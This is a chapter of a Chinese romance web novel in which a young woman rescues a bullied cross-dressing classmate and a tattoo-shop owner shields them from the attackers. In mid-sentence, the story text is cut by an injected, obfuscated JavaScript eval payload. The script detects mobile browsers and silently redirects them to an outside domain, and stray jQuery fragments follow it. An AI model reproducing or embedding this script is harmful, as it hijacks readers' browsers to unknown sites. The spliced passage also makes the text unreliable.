16. 关门

作品:《甜氧

    秦晗提起小哥哥,就总是不经意间比划那个往出投掷东西动作。


    罗什锦起初没太反应过来,多看两遍忽然觉得有些熟悉。


    想了一会儿,罗什锦从脑子里一堆水果买卖数据的角落,记起前些天他给张郁青录的视频。


    当时张郁青往出抛那个玩具皮球时,不就是这样的动作么?


    罗什锦举了块被咬得参差不齐的西瓜皮,指着秦晗:“不对啊,前几天青哥发给你的视频,就是这个动作啊。”


    秦晗一惊。


    被说中了!


    她忽然尴尬起来,羞赧得脸和脖子上的皮肤都泛起一层粉红色。


    老实巴交的孩子又不会撒谎,只能垂着头,几乎把下巴含进胸腔,声音小得像蚊子:“张郁青和小哥哥是很像的......”


    是张郁青和小哥哥像,不是小哥哥和张郁青像?


    张郁青稍稍扬起眉梢,情绪莫名地笑了一声。


    罗什锦不可思议地说:“不是,你啥意思?你不会是把青哥当你那人的替身了吧?”


    秦晗赶紧摇头,不怎么有说服力地反击:“我没有...就是觉得像......”


    她说不下去了,越说越像是给自己定罪,只好扭头去看张郁青。


    张郁青手肘搭在桌边,手里拿着一瓶纹身专用的颜色,上下掂着逗北北。


    小金毛只有他小臂那么长,摇着尾巴站在桌面上,用爪子按住颜色瓶,又去舔他的指尖。


    这人看着好像完全没在听他们的对话,却笑着出声,弯了些唇角:“和我像啊,那是得挺帅。”


    罗什锦本来是怕他青哥和这个家境殷实的小姑娘扯上关系。


    但现在一听,小姑娘话里话外的,好像觉得她那个小哥哥比他青哥强?


    他顿时又不乐意了,把西瓜皮往垃圾桶里一丢;“说得我青哥像替身似的,我跟你说,我青哥可是非常牛逼的,想当年也是学校里的扛把子,要不是家里破事儿多,现在也是优秀大学毕业......”


    张郁青瞥了罗什锦一眼,不动声色地打断他:“吃你的西瓜。”


    “哦。”


    罗什锦收住话题,又拿起一块西瓜咔咔啃了两口,像是要把自己没说完的话噎回肚里去。


    前些天帝都市都在下雨,秦晗贴在张郁青店门口那张告示,早就不知道被风雨掀到哪儿去了。


    桌上倒是有一张新的,估计是张郁青画的。


    他的画功真的不错,Q版的小金毛居然和北北神态一模一样。


    比起秦晗那天几乎画成草泥马的狗,真的是天壤之别。


    其实更让人诧异的是张郁青的字。


    以前在班里,老师整天叮嘱班里男生,让他们把狗爬似的字练练,免得高考阅卷老师看不清误判。


    那时候女生一笔一划的工整字体得到老师的极力赞扬。


    张郁青的字不同,张弛有度,架构飘逸,和他的人一样,有种洒脱的感觉在。


    秦晗看向张郁青的侧脸,恰好这时他转过头来,她不自觉低下头,躲过他的视线,在自己都没想清楚为什么要躲时开口:“这个是打算贴出去的么?”


    “这个么?”张郁青拿起告示看了一眼,又随手丢回去,“本来是,不过又不打算贴了。”


    “为什么?”


    他一只手挠着北北柔顺的白金色长毛,浅笑:“舍不得呗。”


    “也是,毕竟养了好几天了。”秦晗叹着口气,表示理解。


    如果是她,恐怕也会舍不得北北被人认走。


    张郁青开了个玩笑:“吃了好几十一盒的牛肉罐头呢,能那么轻易放它走?”


    他明明不是那样计较利益的人,却开这种玩笑,秦晗也跟着笑了,说了句傻话:“那怎么办,让它吐出来么?”


    后来聊的都是北北的去留问题了。


    张郁青说如果有人来认领,他会替秦晗把那些狗粮送给北北的主人。


    如果没有,也没关系,他会养着北北。


    聊完,临近傍晚,他很随意地问:“留下吃饭吗?”


    一直没说话的罗什锦突然冷哼,吓了秦晗一跳。


    她连连摆手,有些不好意思地说:“不用不用,我也该回家了。”


    张郁青送她出去,秦晗笑着说:“我走啦。”


    他忽然凑近秦晗耳畔,压低声音:“罗什锦的态度别往心里去,回头我骂他。”


    “嗯。”


    正逢风起,被大太阳烤了一整天的热空气吹过秦晗耳侧脸颊。


    让人一时间分不清,耳垂上的触感是夏风,还是他唇齿间温热的气息。


    秦晗连忙点头,借着把碎发掖在耳后的动作,掩饰了心里的慌乱。


    这份慌乱一直延续着,快走到街口仍没有缓解。


    耳朵像是坏掉了,耳垂越来越烫,她说不清自己这是什么反应。


    “操,真他妈恶心!”


    “我多看他一眼就觉得自己要长针眼了!”


    “真几把变态,人妖!你是从你妈哔里爬出来的吗?”


    “呕,死娘炮。”


    遥南斜街的小胡同里传来一阵吵嚷,秦晗脑子里正纳闷着自己发烫的耳朵,猛然听见那些肮脏语言,下意识顺着声音看过去——


    几个男生把一个长发女孩围在中间,身后是他们有些破旧的自行车,乱七八糟地停放在一起。


    也许是男生和自行车加起来给人一种“庞大”的视觉效果,被他们围住的女孩显得格外形只影单,且可怜。


    其中一个男生举着半块砖,对着女孩冷嘲热讽:“还穿裙子,你可真他妈恶心啊,是不是还穿了女人的内衣啊?”


    男生说着,把手伸过去。


    那个长发女孩忽然抬起头,把露出脸,吼道:“我没有!别碰我!”


    秦晗看清他的长相,愣了愣。


    是男生?


    还是她认识的男生。


    男生是秦晗的高中同班同学,叫......


    叫什么她猛然有些想不起来。


    高中三年也没什么交集,忽然在遥南斜街遇见,秦晗也很诧异。


    而且他还穿着格子短裙,一头披肩大波浪长发。


    秦晗的同学几乎缩成一团,假发上的刘海狼狈地粘在他额头的汗水上。


    他吼过之后,那几个男生更加不依不饶,说着各种恶心的话,时不时推搡他,把手里点燃的烟和砖头在他眼前晃,还有人踢了他。


    男生是光着腿穿裙子的。


    小腿上,膝盖上,都是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992974|161644||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    灰扑扑的鞋印子,还有淤青和蹭破的皮肤在流血。


    秦晗其实也害怕,她从来没见过小混混,害怕得小腿发抖。


    但真的看见了,又不能坐视不管。


    要怎么阻止他们呢?


    现在已经不是在校园里了,连“告老师”这种设想都不能成立。


    她深深吸了一口气,突然冲过去,狠狠对着那几个人摆放在一起的自行车踢了一脚。


    自行车哗啦啦倒了一片,趁着所有人都没反应过来,秦晗猛地拽住那个男生:“快跑啊!”


    跑起来时,夏季的热空气拍打在脸上,秦晗脑子里一片空白。


    她只有一个念头:她要去找张郁青。


    后面的几个男生大概是反应过来了,骂骂咧咧地追上来。


    谢天谢地,他们没想到骑自行车来追。


    秦晗的同学,穿着个小裙子,跑起来勉勉强强和她一个速度。


    她紧张得心脏都快要从嗓子眼蹦出来了,耳边都是蜂鸣声。


    越是紧张,腿脚越是不听使唤,速度也快不起来,胸口像堵着一块大石头,呼吸都变得困难。


    我会被他们抓住用砖头打死的,她想。


    紧要关头,她看见站在店门口的张郁青。


    他叼着一根棒棒糖,看见秦晗时似乎有些诧异,还以为她是又落下了什么东西。


    但等他看清她身后的人,面色忽地冷下来。


    “张郁青!”


    秦晗只喊得岀这么一句。


    她太紧张,最后几步都是踉跄着跑过去的,绊在凸起的石块上,扑向他。


    张郁青稳稳接住秦晗,看了秦晗一眼,确定她没事,才把秦晗和她的同学推进店里。


    遥南斜街都是老房子,用铁质卷帘门防盗的都是大户,多数人还是过去的传统法子,门外窗外安装一层木板,晚上关店时再锁上。


    把秦晗他们推进去后,张郁青关上了木质防盗门,靠在木板上,挺平静地看着追过来的几个小屁孩。


    小屁孩们停在店前面,互相看看,其中一个抹掉汗珠:“你别多管闲事!”


    张郁青淡笑着抬起眼:“我要是,就管了呢?”


    秦晗被关在店里,最初的紧张散去后,她猛地开始害怕。


    张郁青还在外面!


    他会不会有事?!他会不会受伤?!


    木质门被从外面锁上了,秦晗拍着门板,急得要命:“张郁青,你开门呀。”


    可能动物更容易感受到周遭的气氛,北北跳上桌子,疯狂地冲着窗外叫,秦晗这才反应过来。


    还有窗子!窗子是开着的!


    秦晗慌里慌张跑过去,却看见一只手从窗口伸进来,干净、骨节分明,是张郁青。


    他轻轻抚了抚北北的头,语气温柔:“别闹,乖乖等着。”


    北北被轻易安抚,秦晗却还急得不行。


    她没有任何打架经验,连观看经验都没有,只能拎起一个立在桌边的空酒瓶,郑重地递出窗外:“用这个!”


    张郁青看过来,眸子里含着无奈的笑意。


    他没接秦晗的空酒瓶,抬手过来,轻轻拍了下她的发顶:“你也是,屋里面乖乖等着。”


    说完,他把窗户的防盗木板也关上了。